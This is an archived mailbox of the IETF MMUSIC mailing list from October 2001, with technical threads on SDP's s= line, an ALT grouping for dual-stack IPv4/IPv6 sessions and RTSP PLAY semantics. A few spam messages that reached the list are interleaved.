Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-comedia-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011019141303.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-comedia-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-comedia-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011019141303.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Tue Oct 23 01:49:04 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA03883
	for confctrl-outgoing; Tue, 23 Oct 2001 01:49:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA03875
	for <confctrl@zephyr.isi.edu>; Tue, 23 Oct 2001 01:49:03 -0700 (PDT)
Received: from ms7.hinet.net (root@ms7.hinet.net [168.95.4.70])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9N8nQg14426;
	Tue, 23 Oct 2001 01:49:26 -0700 (PDT)
Received: from fggggggg (61-216-109-91.HINET-IP.hinet.net [61.216.109.91])
	by ms7.hinet.net (8.8.8/8.8.8) with SMTP id QAA28444;
	Tue, 23 Oct 2001 16:49:21 +0800 (CST)
Date: Tue, 23 Oct 2001 16:49:21 +0800 (CST)
From: zabwx@ms9.hinet.net
Message-Id: <200110230849.QAA28444@ms7.hinet.net>
To: bmanning@ms7.hinet.net
Subject: bfxyrvoct  ¦^«H  wtcvqgjck
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_Novasoft_Sagittarius_Professional_"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Novasoft Sagittarius Professional
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_Novasoft_Sagittarius_Professional_
Content-Type: text/html;
	charset="big5"
Content-Transfer-Encoding: 7bit

teotidbotzfxigfibxzks

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=big5">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>¦^¨ç</title>
</head>

<body>

<p align="left"><font color="#0000FF">¦^¨ç: ¤ý¤p©j±z¦n!!<br>
<br>
ÁÂÁ±zªº¨Ó«H!!<br>
&nbsp;<br>
«H¤¤©Ò´£¦³Ãö¨Æ©y. Åwªï±zª½±µ¶i¤Jºô¯¸¶ñªí¬d¸ß.&nbsp; ÁÂÁÂ!!<br>
<br>
</font><a href="http://www.taconet.com.tw/e1968828/mail/" target="_blank"><font color="#FF0000" face="Verdana">http://www.taconet.com.tw/e1968828/mail/<br>
</font></a><font color="#0000FF"><br>
­YµLªkÂsÄýºô­¶½Ð«ö­«·s¾ã²z§Y¥i!!<br>
<br>
«ÈªA¤¤¤ß·q¤W.<br>
</font></p>

</body>

</html>


aaiulhpzzvgvnpigxduzv

------=_Novasoft_Sagittarius_Professional_
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<script language=3D'JavaScript' =
src=3D"http://novasoft.idv.tw/sagittarius/copyright.phtml"></script>
<script>window.open('http://novasoft.idv.tw/ad/pop_up_banner.phtml','AD',=
'menubar=3Dno,toolbar=3Dno,location=3Dno,directories=3Dno,status=3Dno,res=
izable=3D0,scrollbars=3D0,width=3D510,height=3D110');</script>

------=_Novasoft_Sagittarius_Professional_


From confctrl-owner  Tue Oct 23 04:09:08 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA12535
	for confctrl-outgoing; Tue, 23 Oct 2001 04:09:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA12530
	for <confctrl@zephyr.isi.edu>; Tue, 23 Oct 2001 04:09:07 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9NB9Vg07613
	for <confctrl@isi.edu>; Tue, 23 Oct 2001 04:09:31 -0700 (PDT)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id f9NB9Tj13041
	for <confctrl@isi.edu>; Tue, 23 Oct 2001 13:09:29 +0200 (MEST)
Received: from lmf.ericsson.se (E005004B52C74.lmf.ericsson.se [131.160.30.74])
	by fogerty.lmf.ericsson.se (8.11.3/8.11.3) with ESMTP id f9NB9RB04195
	for <confctrl@isi.edu>; Tue, 23 Oct 2001 14:09:27 +0300 (EET DST)
Message-ID: <3BD54FE5.C12F4AE3@lmf.ericsson.se>
Date: Tue, 23 Oct 2001 14:09:25 +0300
From: Christer Holmberg <christer.holmberg@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: S= parameter
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hi,

If this has been discussed before, could someone tell me why the s= line
is mandatory? It's only for information, so I think it should be
optional. Of course, some specific applications may require it, but that
is another issue.

Regards,

Christer Holmberg
Ericsson Finland

From confctrl-owner  Tue Oct 23 07:07:43 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA21975
	for confctrl-outgoing; Tue, 23 Oct 2001 07:07:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA21969
	for <confctrl@zephyr.isi.edu>; Tue, 23 Oct 2001 07:07:42 -0700 (PDT)
Received: from purple.nge.isi.edu ([65.114.168.32])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9NE86g15241
	for <confctrl@ISI.EDU>; Tue, 23 Oct 2001 07:08:06 -0700 (PDT)
Received: from purple.nge.isi.edu (localhost [127.0.0.1])
	by purple.nge.isi.edu (8.11.6/8.11.6) with ESMTP id f9NE7xN03586;
	Tue, 23 Oct 2001 10:08:00 -0400
Message-Id: <200110231408.f9NE7xN03586@purple.nge.isi.edu>
To: Christer Holmberg <christer.holmberg@lmf.ericsson.se>
cc: confctrl@ISI.EDU
Subject: Re: S= parameter 
In-Reply-To: Your message of "Tue, 23 Oct 2001 14:09:25 +0300."
             <3BD54FE5.C12F4AE3@lmf.ericsson.se> 
Date: Tue, 23 Oct 2001 10:07:59 -0400
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Historical reasons, due to the original design of SDP as a protocol for use
with an announced session directory (sdr), and backwards compatibility. 

Colin



--> Christer Holmberg writes:
>
>Hi,
>
>If this has been discussed before, could someone tell me why the s= line
>is mandatory? It's only for information, so I think it should be
>optional. Of course, some specific applications may require it, but that
>is another issue.
>
>Regards,
>
>Christer Holmberg
>Ericsson Finland

From confctrl-owner  Wed Oct 24 18:56:32 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id SAA09449
	for confctrl-outgoing; Wed, 24 Oct 2001 18:56:32 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA09433
	for <confctrl@zephyr.isi.edu>; Wed, 24 Oct 2001 18:56:29 -0700 (PDT)
Received: from webhost.kingersql ([203.161.254.85])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9P1uOg01380;
	Wed, 24 Oct 2001 18:56:24 -0700 (PDT)
Received: from slip-12-64-196-194.mis.prserv.net - 12.64.235.124 by webhost.kingersql  with Microsoft SMTPSVC(5.5.1774.114.11);
	 Thu, 25 Oct 2001 10:15:29 +0800
X-Mailer: Lycos Mailer v5.3
From: bradnelson@yahoo.com
To: user0432@yahoo.com
X-MSMail-Priority: Normal
Importance: Normal
Content-Type: text/plain;
	 charset="us-ascii"
Content-Transfer-Encoding: 7bit
Date: Thu, 25 Oct 2001 09:51:01 -0700
Reply-To: sports453@excite.com
Message-Id: <2vep5tbi3v7f.46akkw3btv5mv7upojjt@slip-12-64-196-194.mis.prserv.net >
Subject: Looking for Pre-Qualifed, Exclusive Mortgage Leads?
X-Priority: 3 (Normal)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Are you a Mortgage Office in need of leads?

We receive refinance requests direct from borrowers 
throughout the United States daily!

Whether your office services one state or multiple states, 
our leads will meet your needs!  

A few features of our program:
	
	*Leads are exclusive---sold ONLY to you!
	
	*Leads contain 30 pieces of information regarding each borrower!

	*Leads delivered within 24-48 hours from borrower's original request!

	*Leads are sent daily--depending on your needs!

	*And best of all....pricing to meet your marketing budget!  

		Dont forget to ask about our volume discount!
	
	
		  TO ORDER YOUR LEADS, CALL  (888) 725-9246!


*********************************************************************************************************
Since you have received this message you have either responded to 
one of our offers in the past or your address has been registered with us.
If you wish to be removed please reply:mailto:leadk57@yahoo.com?subject=remove 
*********************************************************************************************************


From confctrl-owner  Thu Oct 25 03:41:43 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA01854
	for confctrl-outgoing; Thu, 25 Oct 2001 03:41:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA01849
	for <confctrl@zephyr.isi.edu>; Thu, 25 Oct 2001 03:41:41 -0700 (PDT)
Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9PAfug10050
	for <confctrl@isi.edu>; Thu, 25 Oct 2001 03:41:56 -0700 (PDT)
Received: from esvir03nok.nokia.com (esvir03nokt.ntc.nokia.com [172.21.143.35])
	by mgw-x2.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id f9PAgWA21940
	for <confctrl@isi.edu>; Thu, 25 Oct 2001 13:42:32 +0300 (EET DST)
Received: from esebh02nok.ntc.nokia.com (unverified) by esvir03nok.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T56d0812c00ac158f231f3@esvir03nok.nokia.com> for <confctrl@isi.edu>;
 Thu, 25 Oct 2001 13:41:53 +0300
Received: from mgw.research.nokia.com ([172.21.33.76]) by esebh02nok.ntc.nokia.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.78)
	id V2DDNB82; Thu, 25 Oct 2001 13:41:54 +0300
Received: from agni.research.nokia.com (agni.research.nokia.com [172.21.40.24])
	by mgw.research.nokia.com (8.9.3/8.9.3) with ESMTP id NAA03245
	for <confctrl@ISI.EDU>; Thu, 25 Oct 2001 13:41:54 +0300 (EETDST)
Received: (from ppessi@localhost)
	by agni.research.nokia.com (8.11.2/8.11.2) id f9PAimX24786;
	Thu, 25 Oct 2001 13:44:48 +0300
To: <confctrl@ISI.EDU>
Subject: Re: draft-olson-sdp-ipv6-02.txt
References: <3BC680F5.188944CF@lmf.ericsson.se>
X-face: #V(jdpv[lI!TNUU=2*oh:="#suS*ponXW"yr6G;~L}<xZn_2^0)V{jqdc4y}@2b]ffd}SY#
 :9||1pew85O,WjiYA"6C7bW^zt^+.{b#B{lEE+4$9lrXL(55g}dU>uZ\JfD\"IG#G{j`hZI;=DmT\H
 pfDMyJ`i=:M;BM3R.`[>P^ER8+]i
From: Pekka Pessi <Pekka.Pessi@nokia.com>
In-Reply-To: Christer Holmberg's message of "Fri, 12 Oct 2001 08:34:45 +0300"
Date: 25 Oct 2001 13:44:48 +0300
Message-ID: <pvlmi09exr.fsf@agni.research.nokia.com>
Lines: 33
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Cuyahoga Valley)
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In message <3BC680F5.188944CF@lmf.ericsson.se> Christer Holmberg <christer.holmberg@lmf.ericsson.se> writes:
>First, it's not only about the address. We may also have separate
>attributes, which may have different values depending on if they are for
>IP4 or IP6. In that case we would have to use "a=altC:a=<whatever>" for
>those.

	I agree on these, so a group attribute seems to be a superior
	solution for the dual-stack problem.  However, the current FID
	semantics are not exactly what we want.  Should we define a new
	group semantics like "ALT" (see below)?  

					Pekka

v=0
o=- 38973621 6 IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024
s= 
a=group:ALT ip4 ip6
m=audio 6000 RTP/AVP 96 97 99
c=IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024
a=mid:ip6
a=rtpmap:97 AMR/8000
a=fmtp:97 mode-set=4,5,6 interleaving crc vad=on use-redundancy=1
a=rtpmap:99 AMR/8000
a=fmtp:99 mode-set=8
a=rtpmap:96 AMR-WB/16000
m=audio 6000 RTP/AVP 96 97 99
c=IN IP4 172.21.40.44
a=mid:ip4
a=rtpmap:97 AMR/8000
a=fmtp:97 mode-set=4,5,6 interleaving crc vad=on use-redundancy=1
a=rtpmap:99 AMR/8000
a=fmtp:99 mode-set=8
a=rtpmap:96 AMR-WB/16000

From confctrl-owner  Thu Oct 25 04:02:05 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA03203
	for confctrl-outgoing; Thu, 25 Oct 2001 04:02:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA03197
	for <confctrl@zephyr.isi.edu>; Thu, 25 Oct 2001 04:02:04 -0700 (PDT)
Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9PB2Tg17012
	for <confctrl@isi.edu>; Thu, 25 Oct 2001 04:02:29 -0700 (PDT)
Received: from esvir01nok.ntc.nokia.com (esvir01nokt.ntc.nokia.com [172.21.143.33])
	by mgw-x1.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id f9PB0dc23198
	for <confctrl@isi.edu>; Thu, 25 Oct 2001 14:00:39 +0300 (EET DST)
Received: from esebh01nok.ntc.nokia.com (unverified) by esvir01nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T56d093ffb6ac158f2128b@esvir01nok.ntc.nokia.com> for <confctrl@isi.edu>;
 Thu, 25 Oct 2001 14:02:27 +0300
Received: from mgw.research.nokia.com ([172.21.33.76]) by esebh01nok.ntc.nokia.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.78)
	id VLV03511; Thu, 25 Oct 2001 14:02:27 +0300
Received: from agni.research.nokia.com (agni.research.nokia.com [172.21.40.24])
	by mgw.research.nokia.com (8.9.3/8.9.3) with ESMTP id OAA03375
	for <confctrl@ISI.EDU>; Thu, 25 Oct 2001 14:02:27 +0300 (EETDST)
Received: (from ppessi@localhost)
	by agni.research.nokia.com (8.11.2/8.11.2) id f9PB5LC24811;
	Thu, 25 Oct 2001 14:05:21 +0300
To: <confctrl@ISI.EDU>
Subject: rtpmap attribute in sdp-new
References: <pvlmi09exr.fsf@agni.research.nokia.com>
X-face: #V(jdpv[lI!TNUU=2*oh:="#suS*ponXW"yr6G;~L}<xZn_2^0)V{jqdc4y}@2b]ffd}SY#
 :9||1pew85O,WjiYA"6C7bW^zt^+.{b#B{lEE+4$9lrXL(55g}dU>uZ\JfD\"IG#G{j`hZI;=DmT\H
 pfDMyJ`i=:M;BM3R.`[>P^ER8+]i
From: Pekka Pessi <Pekka.Pessi@nokia.com>
In-Reply-To: Pekka Pessi's message of "Thu, 25 Oct 2001 13:44:48 +0300"
Date: 25 Oct 2001 14:05:21 +0300
Message-ID: <pvd73c9dzi.fsf@agni.research.nokia.com>
Lines: 8
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Cuyahoga Valley)
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

	Hello,

	The sdp-new-03 draft does not explicitly say if rtpmap is a
	media-level attribute.  Should it be stated, or is it clear from
	context?  Should there be a separate paragraph describing rtpmap
	like other attributes?

						Pekka 

From confctrl-owner  Thu Oct 25 04:47:12 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA06000
	for confctrl-outgoing; Thu, 25 Oct 2001 04:47:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA05995
	for <confctrl@zephyr.isi.edu>; Thu, 25 Oct 2001 04:47:11 -0700 (PDT)
Received: from gw-nl4.philips.com (gw-nl4.philips.com [212.153.190.6])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9PBlag25235
	for <confctrl@ISI.EDU>; Thu, 25 Oct 2001 04:47:36 -0700 (PDT)
Received: from smtpscan-nl4.philips.com (localhost.philips.com [127.0.0.1])
          by gw-nl4.philips.com with ESMTP id NAA01081;
          Thu, 25 Oct 2001 13:47:34 +0200 (CEST)
          (envelope-from philippe.gentric@philips.com)
From: philippe.gentric@philips.com
Received: from smtpscan-nl4.philips.com(130.139.36.24) by gw-nl4.philips.com via mwrap (4.0a)
	id xma001078; Thu, 25 Oct 01 13:47:34 +0200
Received: from smtprelay-nl1.philips.com (localhost [127.0.0.1]) 
	by smtpscan-nl4.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id NAA18525; Thu, 25 Oct 2001 13:47:33 +0200 (MET DST)
Received: from notessmtp-nl1.philips.com (notessmtp-nl1.philips.com [130.139.36.10]) 
	by smtprelay-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id NAA26420; Thu, 25 Oct 2001 13:47:32 +0200 (MET DST)
Received: from hbg001soh.diamond.philips.com (e1soh01.diamond.philips.com [130.143.165.212]) 
	by notessmtp-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id NAA04591; Thu, 25 Oct 2001 13:47:31 +0200 (MET DST)
MIME-Version: 1.0
To: Pekka.Pessi@nokia.com
Cc: confctrl@ISI.EDU
Subject: Re: draft-olson-sdp-ipv6-02.txt
X-Mailer: Lotus Notes Release 5.0.6a  January 17, 2001
Message-ID: <OF53569AE1.297C3EB1-ONC1256AF0.00403119@diamond.philips.com>
Date: Thu, 25 Oct 2001 13:45:32 +0200
X-MIMETrack: Serialize by Router on hbg001soh/H/SERVER/PHILIPS(Release 5.0.5 |September
 22, 2000) at 25/10/2001 14:03:57,
	Serialize complete at 25/10/2001 14:03:57
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Let me check I understand this "alternate" syntax.

Would it be possible to describe a given content (say a movie)
as being available in several "flavors", any or all of
the following examples:

* italian versus french sound track
* different bit rate
* different codec

?


Regards,


Philippe Gentric
Software architect
Philips Digital Networks - MP4Net
51 rue Carnot B.P. 301
92156 Suresnes FRANCE
tel: +33(0)147283740
fax: +33(0)147283725
philippe.gentric@philips.com
http://www.mpeg-4.philips.com



Sent by:        owner-confctrl@ISI.EDU
To:     <confctrl@ISI.EDU>
cc:      (bcc: Philippe Gentric/LIM/CE/PHILIPS)
Subject:        Re: draft-olson-sdp-ipv6-02.txt
Classification: 


In message <3BC680F5.188944CF@lmf.ericsson.se> Christer Holmberg 
<christer.holmberg@lmf.ericsson.se> writes:
>First, it's not only about the address. We may also have separate
>attributes, which may have different values depending on if they are for
>IP4 or IP6. In that case we would have to use "a=altC:a=<whatever>" for
>those.

                 I agree on these, so a group attribute seems to be a 
superior
                 solution for the dual-stack problem.  However, the 
current FID
                 semantics are not exactly what we want.  Should we define 
a new
                 group semantics like "ALT" (see below)? 

  Pekka

v=0
o=- 38973621 6 IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024
s= 
a=group:ALT ip4 ip6
m=audio 6000 RTP/AVP 96 97 99
c=IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024
a=mid:ip6
a=rtpmap:97 AMR/8000
a=fmtp:97 mode-set=4,5,6 interleaving crc vad=on use-redundancy=1
a=rtpmap:99 AMR/8000
a=fmtp:99 mode-set=8
a=rtpmap:96 AMR-WB/16000
m=audio 6000 RTP/AVP 96 97 99
c=IN IP4 172.21.40.44
a=mid:ip4
a=rtpmap:97 AMR/8000
a=fmtp:97 mode-set=4,5,6 interleaving crc vad=on use-redundancy=1
a=rtpmap:99 AMR/8000
a=fmtp:99 mode-set=8
a=rtpmap:96 AMR-WB/16000





From confctrl-owner  Thu Oct 25 05:58:39 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id FAA10188
	for confctrl-outgoing; Thu, 25 Oct 2001 05:58:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA10183
	for <confctrl@zephyr.isi.edu>; Thu, 25 Oct 2001 05:58:38 -0700 (PDT)
Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9PCx1g13252
	for <confctrl@isi.edu>; Thu, 25 Oct 2001 05:59:03 -0700 (PDT)
Received: from esvir01nok.ntc.nokia.com (esvir01nokt.ntc.nokia.com [172.21.143.33])
	by mgw-x1.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id f9PCvCc13358
	for <confctrl@isi.edu>; Thu, 25 Oct 2001 15:57:12 +0300 (EET DST)
Received: from esebh12nok.ntc.nokia.com (unverified) by esvir01nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T56d0feb158ac158f2128b@esvir01nok.ntc.nokia.com>;
 Thu, 25 Oct 2001 15:58:59 +0300
Received: from mgw.research.nokia.com ([172.21.33.76]) by esebh12nok.ntc.nokia.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.78)
	id V3CBCJKQ; Thu, 25 Oct 2001 15:59:00 +0300
Received: from agni.research.nokia.com (agni.research.nokia.com [172.21.40.24])
	by mgw.research.nokia.com (8.9.3/8.9.3) with ESMTP id PAA04203;
	Thu, 25 Oct 2001 15:58:59 +0300 (EETDST)
Received: (from ppessi@localhost)
	by agni.research.nokia.com (8.11.2/8.11.2) id f9PD1rw26139;
	Thu, 25 Oct 2001 16:01:53 +0300
To: <philippe.gentric@philips.com>
Cc: <Pekka.Pessi@nokia.com>, <confctrl@ISI.EDU>
Subject: Re: draft-olson-sdp-ipv6-02.txt
References: <OF53569AE1.297C3EB1-ONC1256AF0.00403119@diamond.philips.com>
X-face: #V(jdpv[lI!TNUU=2*oh:="#suS*ponXW"yr6G;~L}<xZn_2^0)V{jqdc4y}@2b]ffd}SY#
 :9||1pew85O,WjiYA"6C7bW^zt^+.{b#B{lEE+4$9lrXL(55g}dU>uZ\JfD\"IG#G{j`hZI;=DmT\H
 pfDMyJ`i=:M;BM3R.`[>P^ER8+]i
From: Pekka Pessi <Pekka.Pessi@nokia.com>
In-Reply-To: <philippe.gentric@philips.com>'s message of "Thu, 25 Oct 2001 14:45:32 +0300"
Date: 25 Oct 2001 16:01:53 +0300
Message-ID: <pvvgh398la.fsf@agni.research.nokia.com>
Lines: 25
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Cuyahoga Valley)
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In message <OF53569AE1.297C3EB1-ONC1256AF0.00403119@diamond.philips.com> <philippe.gentric@philips.com> writes:
>Would it be possible to describe a given content (say a movie)
>as being available in several "flavors", any or all of
>the following examples:

	My idea of ALT group was to provide the same media stream using
	alternative transports, like IP, IPv4, ATM or 767 loaded with
	CDs.

>* italian versus french sound track

	What about using i= line and/or a=lang:IT v. a=lang:FR?

>* different bit rate

	Streams using different bitrates should be sent to different
	multicast groups.  There can be multiple c= lines in media
	description, one for each group.

>* different codec

	FID semantics allow that.

	Best regards,
					Pekka Pessi

From confctrl-owner  Thu Oct 25 15:43:50 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA14776
	for confctrl-outgoing; Thu, 25 Oct 2001 15:43:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA14771
	for <confctrl@zephyr.isi.edu>; Thu, 25 Oct 2001 15:43:49 -0700 (PDT)
Received: from purple.nge.isi.edu (they108.east.isi.edu [65.114.168.108])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9PMiFg20227
	for <confctrl@ISI.EDU>; Thu, 25 Oct 2001 15:44:15 -0700 (PDT)
Received: from purple.nge.isi.edu (localhost [127.0.0.1])
	by purple.nge.isi.edu (8.11.6/8.11.6) with ESMTP id f9PMiD102720;
	Thu, 25 Oct 2001 18:44:13 -0400
Resent-Message-Id: <200110252244.f9PMiD102720@purple.nge.isi.edu>
Message-Id: <200110252244.f9PMiD102720@purple.nge.isi.edu>
To: Pekka Pessi <Pekka.Pessi@nokia.com>
cc: confctrl@ISI.EDU
Subject: Re: rtpmap attribute in sdp-new 
In-Reply-To: Your message of "25 Oct 2001 14:05:21 +0300."
             <pvd73c9dzi.fsf@agni.research.nokia.com> 
Date: Thu, 25 Oct 2001 18:39:29 -0400
From: Colin Perkins <csp@ISI.EDU>
Resent-To: Pekka Pessi <Pekka.Pessi@nokia.com>
Resent-cc: confctrl@ISI.EDU
Resent-Date: Thu, 25 Oct 2001 18:44:13 -0400
Resent-From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Pekka Pessi writes:
>	The sdp-new-03 draft does not explicitly say if rtpmap is a
>	media-level attribute.  Should it be stated, or is it clear from
>	context?  Should there be a separate paragraph describing rtpmap
>	like other attributes?

It should probably have a separate paragraph, to be consistent. I'll see 
what I can do with the next version.

Cheers,
Colin

From confctrl-owner  Fri Oct 26 02:22:05 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA13863
	for confctrl-outgoing; Fri, 26 Oct 2001 02:22:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA13856
	for <confctrl@zephyr.isi.edu>; Fri, 26 Oct 2001 02:22:04 -0700 (PDT)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9Q9MTg00711
	for <confctrl@ISI.EDU>; Fri, 26 Oct 2001 02:22:30 -0700 (PDT)
Received: from era-t.ericsson.se (koff.ericsson.se [147.214.173.137])
	by penguin.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id f9Q9MRC16044
	for <confctrl@ISI.EDU>; Fri, 26 Oct 2001 11:22:27 +0200 (MEST)
Received: from era-t.ericsson.se by era-t.ericsson.se (SMI-8.6/LME-DOM-2.2.5(ERA/T))
	id LAA00724; Fri, 26 Oct 2001 11:22:27 +0200
Message-ID: <3BD92B53.9CCEBF37@era-t.ericsson.se>
Date: Fri, 26 Oct 2001 11:22:27 +0200
From: Magnus Westerlund <magnus.westerlund@era-t.ericsson.se>
X-Mailer: Mozilla 4.78 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: IETF MMUSIC WG <confctrl@ISI.EDU>
Subject: RTSP play method while playing
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi!

In RFC 2326 p. 34 bottom part, in the PLAY method it says:

A PLAY request without a Range header is legal. It starts playing a
stream from the beginning unless the stream has been paused. If a
stream has been paused via PAUSE, stream delivery resumes at the
pause point. If a stream is playing, such a PLAY request causes no
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
further action and can be used by the client to test server liveness.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

In a response to play without range while playing, what shall the server
do with RTP-Info? The RTP-Info is required according to table in the
beginning of chapter 12, but my opinion is that it lacks meaning in this
case.

By the way how is the work with the draft standard RTSP version going?
